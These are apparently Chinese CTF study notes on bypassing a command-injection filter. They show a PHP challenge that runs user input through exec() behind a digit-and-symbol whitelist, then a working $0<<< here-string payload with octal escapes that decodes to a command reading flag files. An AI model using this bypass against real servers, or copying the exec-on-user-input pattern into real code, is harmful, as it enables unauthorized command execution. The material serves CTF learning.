过滤
绕过空格
● 进制绕过
题目练习
数字rce
使用$0执行bash,<<<将后面的字符串传递给左边的命令。
例如:
<?php highlight_file(__FILE__); function waf($cmd) { $whiteList = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\\', '\'', '$', '<']; $cmd_char = str_split($cmd); foreach ($cmd_char as $char) { if (!in_array($char, $whiteList)) { die("hacker"); } } return $cmd; } $cmd = $_GET['cmd']; exec(waf($cmd)); cmd=$0<<<$'\143\141\164\040\57\146\52\040\76\040\61\56\164\170\164' $0代表当前脚本名称,如何在bash里运行代表/bin/bash <<<是bash中的Here String重定向符,会将后面的字符串作为标准输入传递给左边的命令 后面那段是八进制绕过,相当于$'cat /f* > 1.txt'